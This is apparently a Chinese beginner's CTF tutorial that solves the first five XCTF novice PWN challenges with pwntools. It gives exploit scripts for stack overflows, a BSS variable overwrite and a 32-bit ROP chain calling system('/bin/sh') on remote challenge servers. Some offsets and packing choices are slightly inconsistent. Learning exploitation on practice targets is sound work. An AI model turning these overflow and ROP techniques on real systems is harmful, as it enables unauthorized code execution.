当前位置: 首页 > news >正文

新手也能玩转PWN:从零开始用pwntools搞定攻防世界XCTF前5题

新手也能玩转PWN:从零开始用pwntools搞定攻防世界XCTF前5题

第一次接触CTF比赛中的PWN题型时,看着那些二进制文件和陌生的术语,我完全不知道从何入手。直到在虚拟机里成功拿到第一个flag,那种"砰"的突破感让我彻底着迷——这就是PWN的魅力。本文将用最直白的语言,带你完成从环境搭建到实战解题的全过程,即使零基础也能在2小时内攻克攻防世界新手区前5题。

1. 环境准备:打造你的PWN武器库

在Kali Linux虚拟机中(推荐使用2023.3版本),打开终端依次执行以下命令安装核心工具:

sudo apt update sudo apt install -y python3-pip git gdb pip3 install pwntools --upgrade

验证安装是否成功:

python3 -c "import pwn; print(pwn.__version__)"

常见问题排查:

  • 报错"Command not found":检查网络连接后重试sudo apt update
  • pip安装缓慢:添加-i https://pypi.tuna.tsinghua.edu.cn/simple参数
  • pwntools功能缺失:运行python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools

工具清单说明:

工具名称作用替代方案
pwntools漏洞利用框架手动编写socket代码
IDA Free反编译分析工具Ghidra
GDB动态调试工具Radare2
checksec安全机制检测手动查看ELF头

提示:初学者建议全部使用默认安装选项,避免自定义路径导致后续命令报错

2. 初识PWN:理解漏洞利用的本质

PWN题的核心是找到程序中的漏洞并构造特殊输入(称为payload),使其执行非预期操作。以最简单的get_shell为例:

  1. 下载题目附件后先用file命令查看类型:
file get_shell

输出显示为ELF 64-bit LSB executable表示64位Linux程序

  1. 使用pwntools的ELF模块快速分析:
from pwn import * e = ELF('./get_shell') print(hex(e.symbols['main'])) # 打印main函数地址
  1. 连接题目服务器的基础模板:
r = remote('111.200.241.244', 65238) # 替换为实际IP端口 r.interactive() # 进入交互模式

当看到$符号时,尝试输入:

cat flag

恭喜!你已拿到第一个flag。

3. 栈溢出实战:level0解题详解

这个64位程序存在典型的缓冲区溢出漏洞,我们通过以下步骤实现控制流劫持:

3.1 漏洞分析

使用IDA打开level0,查看vulnerable_function:

char buf[80]; // 栈缓冲区 read(0, buf, 200); // 可写入200字节

计算偏移量:

  • buf到返回地址需要覆盖:0x80(栈空间) + 8(保存的rbp) = 136字节

3.2 寻找后门函数

在IDA中按Shift+F12搜索字符串,发现/bin/sh位于callsystem函数:

int callsystem() { return system("/bin/sh"); }

3.3 构造payload

from pwn import * context(os='linux', arch='amd64') # 设置环境参数 r = remote('111.200.241.244', 54800) elf = ELF('./level0') payload = b'A'*136 # 填充缓冲区 payload += p64(elf.symbols['callsystem']) # 覆盖返回地址 r.sendline(payload) r.interactive()

关键点说明:

  • p64()将地址转为小端序字节序列
  • 如果本地测试失败,尝试添加context.log_level='debug'查看详细通信

4. BSS段溢出:hello_pwn技巧突破

这道题展示了非栈区域的溢出利用:

4.1 关键变量定位

使用readelf查看段信息:

readelf -S hello_pwn

发现.bss段中存在两个相邻变量:

  • unk_601068:用户输入存储位置
  • dword_60106C:需要覆盖的目标

4.2 偏移计算

通过IDA静态分析:

read(0, &unk_601068, 10uLL); if ( dword_60106C == 1853186401 ) sub_400686(); // 后门函数

数学关系:

  • 60106C - 601068 = 4字节
  • 需要先填充4字节,然后写入目标值

4.3 数值转换技巧

1853186401的十六进制表示:

hex(1853186401) # 输出0x6e756161

对应ASCII字符是"nuaa"

最终payload:

payload = b'AAAA' + p64(1853186401)

5. ROP技术入门:level2解题示范

当程序没有现成后门时,需要通过ROP技术组合代码片段:

5.1 获取必要地址

elf = ELF('./level2') system_addr = elf.plt['system'] # 获取system函数地址 binsh_addr = next(elf.search(b'/bin/sh')) # 查找字符串地址

5.2 32位程序栈帧构造

不同于64位参数通过寄存器传递,32位程序需要按以下顺序构造栈帧:

  1. 函数地址(system)
  2. 返回地址(可随意填充)
  3. 参数地址(/bin/sh)

对应payload:

payload = b'A'*(0x88+4) # 填充+ebp payload += p32(system_addr) # 返回地址 payload += p32(0xdeadbeef) # 随意返回地址 payload += p32(binsh_addr) # 参数

5.3 自动化工具辅助

使用ROPgadget查找可用指令片段:

ROPgadget --binary level2 --ropchain

实际比赛中,成熟的PWN题往往需要组合多种技术。记得每次测试后使用r.close()关闭连接,避免服务器限制。当遇到EOFError时,通常是payload构造有误,建议先用cyclic(200)生成测试字符串定位崩溃点。

掌握这些基础后,你已经具备了解决大部分CTF新手PWN题的能力。接下来可以尝试更复杂的技巧,如格式化字符串漏洞利用、堆风水等进阶内容。记住,每个失败的尝试都是通往成功的必经之路——我的第一个PWN题花了整整三天才解出来,但那种突破的喜悦值得所有付出。

http://www.gsyq.cn/news/1477810.html

相关文章:

  • Copilot原理解读
  • 从《鱿鱼游戏》到推荐系统:聊聊齐次马尔可夫链在现实中的那些‘神预测’
  • 如何5分钟搞定B站第三方直播推流:免费工具完整指南
  • 【MATLAB】四旋翼无人机PID姿态稳定控制仿真研究
  • Proxmox VE存储空间规划避坑指南:为什么别把900G都分给local-lvm?
  • 符号人工智能
  • 量子机器学习加速药物发现:分子模拟与QML实战指南
  • MCP协议驱动的数据库自然语言搜索工具实战
  • HR数据决策工作流:Python实现可解释招聘分析
  • 多维聚合实战:用Python构建可钻取数据立方体
  • 音箱式录音屏蔽器实测评测:静音录音屏蔽器、音箱式录音屏蔽器、会议室录音屏蔽器、偷拍摄像头检测器、办公室录音干扰器选择指南 - 优质品牌商家
  • 孤立森林可解释性实战:用SHAP实现异常检测归因分析
  • LangChain实战:从零搭建可落地的RAG应用
  • MATLAB版CT三维重建工具集:滤波反投影+ART迭代重建,支持STL导出与仿真对接
  • RAG复杂推理增强:让答案从‘看似合理’到‘有据可循’
  • 大模型思维链归零:可解释性层的消逝与可信架构重构
  • CSDN AI营销功能误触导致原创降权?(20年平台机制专家亲授紧急关停全流程)
  • Android端开箱即用人脸识别SDK包:SeetaFace6支持口罩识别与活体检测
  • 别光看教程了!用Pandas处理你的第一个真实数据集(从CSV导入到清洗完整流程)
  • GHelper:华硕笔记本轻量级性能控制工具,快速释放硬件潜力
  • 机器学习生产化:从模型部署到系统韧性工程
  • Power BI航空仪表盘:用DAX实现毫秒级飞行态势感知
  • 番禺石壁黄金回收|金小福本地实体南站30分钟上门大盘报价秒结 - 花生花生1
  • CSDN后台审核日志逆向分析:联系方式被删前必现的2个隐藏信号,第2个99%人忽略
  • Dockerfile里COPY和ADD到底怎么选?一个真实镜像构建失败的排查实录
  • YOLO26涨点改进| TGRS 2026 顶刊| 注意力改进篇| 引入MSEA多尺度边缘感知注意力,助力红外小目标检测、遥感目标检测、工业缺陷检测、图像去雨雾任务高效涨点
  • CVPR2021 Coordinate Attention 源码逐行解析:从论文公式到PyTorch代码的‘翻译’过程
  • ICPC/CCPC选手必备:2018-2022年所有赛题链接整理与刷题平台指南
  • 用Python和Librosa库,5分钟搞定音频频率分析(附完整代码和音高对照表)
  • 2026年智能体开发平台服务实力排行:Agent平台、agent开发、无代码、智能体搭建、智能问数、私有化AI低代码选择指南 - 优质品牌商家